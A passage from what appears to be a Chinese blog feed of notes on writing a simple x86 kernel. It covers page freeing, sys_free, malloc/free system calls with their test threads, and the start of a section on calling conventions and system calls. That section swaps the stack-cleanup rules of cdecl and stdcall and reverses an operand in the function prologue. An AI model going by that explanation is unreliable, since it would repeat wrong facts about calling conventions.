class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将物理地址pg_phy_addr回收到物理内存池 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">pfree</span><span class="params">(<span class="keyword">uint32_t</span> pg_phy_addr)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">pool</span>* <span class="title">mem_pool</span>;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> bit_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">if</span> (pg_phy_addr &gt;= user_pool.phy_addr_start) &#123;     <span class="comment">// 用户物理内存池</span></span><br><span class="line">      mem_pool = &amp;user_pool;</span><br><span class="line">      bit_idx = (pg_phy_addr - user_pool.phy_addr_start) / PG_SIZE;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;  <span class="comment">// 内核物理内存池</span></span><br><span class="line">      mem_pool = &amp;kernel_pool;</span><br><span class="line">      bit_idx = (pg_phy_addr - kernel_pool.phy_addr_start) / PG_SIZE;</span><br><span class="line">   &#125;</span><br><span class="line">   bitmap_set(&amp;mem_pool-&gt;pool_bitmap, bit_idx, <span class="number">0</span>); <span class="comment">// 将位图中该位清0</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 去掉页表中虚拟地址vaddr的映射,只去掉vaddr对应的pte */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">page_table_pte_remove</span><span class="params">(<span class="keyword">uint32_t</span> vaddr)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span>* pte = pte_ptr(vaddr);</span><br><span class="line">   *pte &amp;= ~PG_P_1;<span class="comment">// 将页表项pte的P位置0</span></span><br><span class="line">   <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"invlpg %0"</span>::<span class="string">"m"</span> (vaddr):<span class="string">"memory"</span>)</span></span>;    <span class="comment">// 页表发生变化时需及时更新TLB</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在虚拟地址池中释放以_vaddr起始的连续pg_cnt个虚拟页地址 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">vaddr_remove</span><span class="params">(<span class="keyword">enum</span> pool_flags pf, <span class="keyword">void</span>* _vaddr, <span class="keyword">uint32_t</span> pg_cnt)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> bit_idx_start = <span class="number">0</span>, vaddr = (<span class="keyword">uint32_t</span>)_vaddr, cnt = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (pf == PF_KERNEL) &#123;  <span class="comment">// 内核虚拟内存池</span></span><br><span class="line">      bit_idx_start = (vaddr - kernel_vaddr.vaddr_start) / PG_SIZE;</span><br><span class="line">      <span class="keyword">while</span>(cnt &lt; pg_cnt) &#123;</span><br><span class="line"> bitmap_set(&amp;kernel_vaddr.vaddr_bitmap, bit_idx_start + cnt++, <span class="number">0</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;  <span class="comment">// 用户虚拟内存池</span></span><br><span class="line">      struct task_struct* cur_thread = running_thread();</span><br><span class="line">      bit_idx_start = (vaddr - cur_thread-&gt;userprog_vaddr.vaddr_start) / PG_SIZE;</span><br><span class="line">      <span class="keyword">while</span>(cnt &lt; pg_cnt) &#123;</span><br><span class="line"> bitmap_set(&amp;cur_thread-&gt;userprog_vaddr.vaddr_bitmap, bit_idx_start + cnt++, <span class="number">0</span>);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>释放虚拟地址中物理页框的步骤是，先调用pfree清空物理页地址，在调用page_table_pte_remove删除页表中此地址的pte，最后调用vaddr_remove清除虚拟地址位图中的相应位</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 释放以虚拟地址vaddr为起始的cnt个物理页框 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mfree_page</span><span class="params">(<span class="keyword">enum</span> pool_flags pf, <span class="keyword">void</span>* _vaddr, <span class="keyword">uint32_t</span> pg_cnt)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> pg_phy_addr;</span><br><span class="line">   <span class="keyword">uint32_t</span> vaddr = (<span class="keyword">int32_t</span>)_vaddr, page_cnt = <span class="number">0</span>;</span><br><span class="line">   ASSERT(pg_cnt &gt;=<span class="number">1</span> &amp;&amp; vaddr % PG_SIZE == <span class="number">0</span>); </span><br><span class="line">   pg_phy_addr = addr_v2p(vaddr);  <span class="comment">// 获取虚拟地址vaddr对应的物理地址</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 确保待释放的物理内存在低端1M+1k大小的页目录+1k大小的页表地址范围外 */</span></span><br><span class="line">   ASSERT((pg_phy_addr % PG_SIZE) == <span class="number">0</span> &amp;&amp; pg_phy_addr &gt;= <span class="number">0x102000</span>);</span><br><span class="line">   </span><br><span class="line"><span class="comment">/* 判断pg_phy_addr属于用户物理内存池还是内核物理内存池 */</span></span><br><span class="line">   <span class="keyword">if</span> (pg_phy_addr &gt;= user_pool.phy_addr_start) &#123;   <span class="comment">// 位于user_pool内存池</span></span><br><span class="line">      vaddr -= PG_SIZE;</span><br><span class="line">      <span class="keyword">while</span> (page_cnt &lt; pg_cnt) &#123;</span><br><span class="line"> vaddr += PG_SIZE;</span><br><span class="line"> pg_phy_addr = addr_v2p(vaddr);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 确保物理地址属于用户物理内存池 */</span></span><br><span class="line"> ASSERT((pg_phy_addr % PG_SIZE) == <span class="number">0</span> &amp;&amp; pg_phy_addr &gt;= user_pool.phy_addr_start);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 先将对应的物理页框归还到内存池 */</span></span><br><span class="line"> pfree(pg_phy_addr);</span><br><span class="line"></span><br><span class="line">     <span class="comment">/* 再从页表中清除此虚拟地址所在的页表项pte */</span></span><br><span class="line"> page_table_pte_remove(vaddr);</span><br><span class="line"></span><br><span class="line"> page_cnt++;</span><br><span class="line">      &#125;</span><br><span class="line">     <span class="comment">/* 清空虚拟地址的位图中的相应位 */</span></span><br><span class="line">      vaddr_remove(pf, _vaddr, pg_cnt);</span><br><span class="line"></span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;     <span class="comment">// 位于kernel_pool内存池</span></span><br><span class="line">      vaddr -= PG_SIZE;      </span><br><span class="line">      <span class="keyword">while</span> (page_cnt &lt; pg_cnt) &#123;</span><br><span class="line"> vaddr += PG_SIZE;</span><br><span class="line"> pg_phy_addr = addr_v2p(vaddr);</span><br><span class="line">      <span class="comment">/* 确保待释放的物理内存只属于内核物理内存池 */</span></span><br><span class="line"> ASSERT((pg_phy_addr % PG_SIZE) == <span class="number">0</span> &amp;&amp; \</span><br><span class="line">       pg_phy_addr &gt;= kernel_pool.phy_addr_start &amp;&amp; \</span><br><span class="line">       pg_phy_addr &lt; user_pool.phy_addr_start);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 先将对应的物理页框归还到内存池 */</span></span><br><span class="line"> pfree(pg_phy_addr);</span><br><span class="line">     <span class="comment">/* 再从页表中清除此虚拟地址所在的页表项pte */</span></span><br><span class="line"> page_table_pte_remove(vaddr);</span><br><span class="line"> page_cnt++;</span><br><span class="line">      &#125;</span><br><span class="line">   <span class="comment">/* 清空虚拟地址的位图中的相应位 */</span></span><br><span class="line">      vaddr_remove(pf, _vaddr, pg_cnt);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面实现sys_free，对释放的内存是否大于1024有不同的处理，大于则将页框在虚拟内存池和物理内存池的位图中将相应位置置0，小于则将arena中的内存块重新放回到内存块描述符中的空闲块链表free_list</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 回收内存ptr */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sys_free</span><span class="params">(<span class="keyword">void</span>* ptr)</span> </span>&#123;</span><br><span class="line">   ASSERT(ptr != <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">if</span> (ptr != <span class="literal">NULL</span>) &#123;</span><br><span class="line">      <span class="keyword">enum</span> pool_flags PF;</span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">pool</span>* <span class="title">mem_pool</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 判断是线程还是进程 */</span></span><br><span class="line">      <span class="keyword">if</span> (running_thread()-&gt;pgdir == <span class="literal">NULL</span>) &#123;</span><br><span class="line"> ASSERT((<span class="keyword">uint32_t</span>)ptr &gt;= K_HEAP_START);</span><br><span class="line"> PF = PF_KERNEL; </span><br><span class="line"> mem_pool = &amp;kernel_pool;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> PF = PF_USER;</span><br><span class="line"> mem_pool = &amp;user_pool;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      lock_acquire(&amp;mem_pool-&gt;lock);   </span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">mem_block</span>* <span class="title">b</span> = <span class="title">ptr</span>;</span></span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">arena</span>* <span class="title">a</span> = <span class="title">block2arena</span>(<span class="title">b</span>);</span>     <span class="comment">// 把mem_block转换成arena,获取元信息</span></span><br><span class="line">      ASSERT(a-&gt;large == <span class="number">0</span> || a-&gt;large == <span class="number">1</span>);</span><br><span class="line">      <span class="keyword">if</span> (a-&gt;desc == <span class="literal">NULL</span> &amp;&amp; a-&gt;large == <span class="literal">true</span>) &#123; <span class="comment">// 大于1024的内存</span></span><br><span class="line"> mfree_page(PF, a, a-&gt;cnt); <span class="comment">// 释放a-&gt;cnt个页框</span></span><br><span class="line">      &#125; <span class="keyword">else</span> &#123; <span class="comment">// 小于等于1024的内存块</span></span><br><span class="line"> <span class="comment">/* 先将内存块回收到free_list */</span></span><br><span class="line"> list_append(&amp;a-&gt;desc-&gt;free_list, &amp;b-&gt;free_elem);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 再判断此arena中的内存块是否都是空闲,如果是就释放arena */</span></span><br><span class="line"> <span class="keyword">if</span> (++a-&gt;cnt == a-&gt;desc-&gt;blocks_per_arena) &#123;</span><br><span class="line">    <span class="keyword">uint32_t</span> block_idx;</span><br><span class="line">    <span class="keyword">for</span> (block_idx = <span class="number">0</span>; block_idx &lt; a-&gt;desc-&gt;blocks_per_arena; block_idx++) &#123;</span><br><span class="line">       <span class="class"><span class="keyword">struct</span> <span class="title">mem_block</span>*  <span class="title">b</span> = <span class="title">arena2block</span>(<span class="title">a</span>, <span class="title">block_idx</span>);</span></span><br><span class="line">       ASSERT(elem_find(&amp;a-&gt;desc-&gt;free_list, &amp;b-&gt;free_elem));</span><br><span class="line">       list_remove(&amp;b-&gt;free_elem);</span><br><span class="line">    &#125;</span><br><span class="line">    mfree_page(PF, a, <span class="number">1</span>); </span><br><span class="line"> &#125; </span><br><span class="line">      &#125;   </span><br><span class="line">      lock_release(&amp;mem_pool-&gt;lock); </span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后我们在syscall文件中添加我们的系统调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 申请size字节大小的内存,并返回结果 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span>* <span class="title">malloc</span><span class="params">(<span class="keyword">uint32_t</span> size)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">return</span> (<span class="keyword">void</span>*)_syscall1(SYS_MALLOC, size);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 释放ptr指向的内存 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">free</span><span class="params">(<span class="keyword">void</span>* ptr)</span> </span>&#123;</span><br><span class="line">   _syscall1(SYS_FREE, ptr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>更新系统调用号数组表</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化系统调用 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">syscall_init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"syscall_init start\n"</span>);</span><br><span class="line">   syscall_table[SYS_GETPID] = sys_getpid;</span><br><span class="line">   syscall_table[SYS_WRITE] = sys_write;</span><br><span class="line">   syscall_table[SYS_MALLOC] = sys_malloc;</span><br><span class="line">   syscall_table[SYS_FREE] = sys_free;</span><br><span class="line">   put_str(<span class="string">"syscall_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后进行测试，下面是main中主要测试代码，申请内存大小对应规格均为256，所以会出现累加的情况</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   intr_enable();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">void</span>* addr1 = sys_malloc(<span class="number">256</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr2 = sys_malloc(<span class="number">255</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr3 = sys_malloc(<span class="number">254</span>);</span><br><span class="line">   console_put_str(<span class="string">" thread_a malloc addr:0x"</span>);</span><br><span class="line">   console_put_int((<span class="keyword">int</span>)addr1);</span><br><span class="line">   console_put_char(<span class="string">','</span>);</span><br><span class="line">   console_put_int((<span class="keyword">int</span>)addr2);</span><br><span class="line">   console_put_char(<span class="string">','</span>);</span><br><span class="line">   console_put_int((<span class="keyword">int</span>)addr3);</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">int</span> cpu_delay = <span class="number">100000</span>;</span><br><span class="line">   <span class="keyword">while</span>(cpu_delay-- &gt; <span class="number">0</span>);</span><br><span class="line">   sys_free(addr1);</span><br><span class="line">   sys_free(addr2);</span><br><span class="line">   sys_free(addr3);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">void</span>* addr1 = sys_malloc(<span class="number">256</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr2 = sys_malloc(<span class="number">255</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr3 = sys_malloc(<span class="number">254</span>);</span><br><span class="line">   console_put_str(<span class="string">" thread_b malloc addr:0x"</span>);</span><br><span class="line">   console_put_int((<span class="keyword">int</span>)addr1);</span><br><span class="line">   console_put_char(<span class="string">','</span>);</span><br><span class="line">   console_put_int((<span class="keyword">int</span>)addr2);</span><br><span class="line">   console_put_char(<span class="string">','</span>);</span><br><span class="line">   console_put_int((<span class="keyword">int</span>)addr3);</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">int</span> cpu_delay = <span class="number">100000</span>;</span><br><span class="line">   <span class="keyword">while</span>(cpu_delay-- &gt; <span class="number">0</span>);</span><br><span class="line">   sys_free(addr1);</span><br><span class="line">   sys_free(addr2);</span><br><span class="line">   sys_free(addr3);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_a</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">void</span>* addr1 = <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr2 = <span class="built_in">malloc</span>(<span class="number">255</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr3 = <span class="built_in">malloc</span>(<span class="number">254</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">" prog_a malloc addr:0x%x,0x%x,0x%x\n"</span>, (<span class="keyword">int</span>)addr1, (<span class="keyword">int</span>)addr2, (<span class="keyword">int</span>)addr3);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">int</span> cpu_delay = <span class="number">100000</span>;</span><br><span class="line">   <span class="keyword">while</span>(cpu_delay-- &gt; <span class="number">0</span>);</span><br><span class="line">   <span class="built_in">free</span>(addr1);</span><br><span class="line">   <span class="built_in">free</span>(addr2);</span><br><span class="line">   <span class="built_in">free</span>(addr3);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_b</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">void</span>* addr1 = <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr2 = <span class="built_in">malloc</span>(<span class="number">255</span>);</span><br><span class="line">   <span class="keyword">void</span>* addr3 = <span class="built_in">malloc</span>(<span class="number">254</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">" prog_b malloc addr:0x%x,0x%x,0x%x\n"</span>, (<span class="keyword">int</span>)addr1, (<span class="keyword">int</span>)addr2, (<span class="keyword">int</span>)addr3);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">int</span> cpu_delay = <span class="number">100000</span>;</span><br><span class="line">   <span class="keyword">while</span>(cpu_delay-- &gt; <span class="number">0</span>);</span><br><span class="line">   <span class="built_in">free</span>(addr1);</span><br><span class="line">   <span class="built_in">free</span>(addr2);</span><br><span class="line">   <span class="built_in">free</span>(addr3);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下，地址确实是连续的，和预期相符</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/84.png" alt="image-20200612181835991"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;进程与线程&quot;&gt;&lt;a href=&quot;#进程与线程&quot; class=&quot;headerlink&quot; title=&quot;进程与线程&quot;&gt;&lt;/a&gt;进程与线程&lt;/h1&gt;&lt;p&gt;线程和进程的概念不用多说大家肯定都比较熟悉，线程是具有能动性、执行力、独立性的代码块。进程 = 线程+资源。那么下面
      
    
    </summary>
    
      <category term="Programming" scheme="https://thunderjie.github.io/categories/Programming/"/>
    
    
      <category term="OS Learning" scheme="https://thunderjie.github.io/tags/OS-Learning/"/>
    
  </entry>
  
  <entry>
    <title>简单内核实现笔记 part 2</title>
    <link href="https://thunderjie.github.io/2020/05/10/%E7%AE%80%E5%8D%95%E5%86%85%E6%A0%B8%E5%AE%9E%E7%8E%B0%E7%AC%94%E8%AE%B0-part-2/"/>
    <id>https://thunderjie.github.io/2020/05/10/简单内核实现笔记-part-2/</id>
    <published>2020-05-10T09:24:37.000Z</published>
    <updated>2020-06-18T03:13:32.915Z</updated>
    
    <content type="html"><![CDATA[<h1 id="完善内核"><a href="#完善内核" class="headerlink" title="完善内核"></a>完善内核</h1><h2 id="调用约定"><a href="#调用约定" class="headerlink" title="调用约定"></a>调用约定</h2><p>调用约定主要体现在以下三方面：</p><ol><li>参数的传递方式，参数是存放在寄存器中还是栈中</li><li>参数的传递顺序，是从左到右传递还是从右到左传递</li><li>是调用者保存寄存器环境还是被调用者保存</li></ol><p>有如下常见的调用约定，我们主要关注cdecl、stdcall、thiscall即可</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/47.png" alt></p><p>cdecl是默认c的调用约定，调用者将所有参数从右向左入栈，被调用者清理参数所占栈空间，举个例子</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">int subtract(int a, int b); // 被调用者</span><br><span class="line">int sub = subtract(3,2);    // 调用者</span><br></pre></td></tr></table></figure><p>调用者汇编如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">push 2</span><br><span class="line">push 3</span><br><span class="line">call subtract</span><br></pre></td></tr></table></figure><p>被调用者汇编如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">push ebp               ; 备份ebp</span><br><span class="line">mov esp, ebp           ; esp赋值给ebp</span><br><span class="line">mov eax, [ebp + 0x8]   ; 偏移8字节处为第一个参数a</span><br><span class="line">add eax, [ebp + 0xc]   ; 偏移0xc字节处是第二个参数b</span><br><span class="line">mov esp, ebp           ; 本句可有可无</span><br><span class="line">pop ebp                ; 恢复ebp</span><br><span class="line">ret 8                  ; 函数返回时esp+8,被调用函数清理栈中参数</span><br></pre></td></tr></table></figure><p>进入subtract函数时栈中的布局如下</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/48.png" alt></p><p>stdcall是微软Win32 API的标准，调用者将所有参数从右向左入栈，并且调用者清理参数所占栈空间，还是上面的例子，调用者汇编如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">push 2</span><br><span class="line">push 3</span><br><span class="line">call subtract</span><br><span class="line">add esp, 8 ; 调用者清理栈</span><br></pre></td></tr></table></figure><p>被调用者汇编如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">push ebp               ; 备份ebp</span><br><span class="line">mov esp, ebp           ; esp赋值给ebp</span><br><span class="line">mov eax, [ebp + 0x8]   ; 偏移8字节处为第一个参数a</span><br><span class="line">add eax, [ebp + 0xc]   ; 偏移0xc字节处是第二个参数b</span><br><span class="line">mov esp, ebp           ; 本句可有可无</span><br><span class="line">pop ebp                ; 恢复ebp</span><br><span class="line">ret                    ; 直接返回</span><br></pre></td></tr></table></figure><p>thiscall则在C++中非静态成员函数的默认调用约定，其主要区别是ecx会多保存一个this指针指向操作的对象。</p><h2 id="系统调用"><a href="#系统调用" class="headerlink" title="系统调用"></a>系统调用</h2><p>为了更加理解系统调用，在后面会更频繁的结合C和汇编进行操作，下面做一个实验，分别用三种方式调用write函数，模拟下面C调用库函数的过程</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    write(<span class="number">1</span>,<span class="string">"hello,world\n"</span>,<span class="number">4</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>模拟代码<code>syscall_write.S</code>如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span 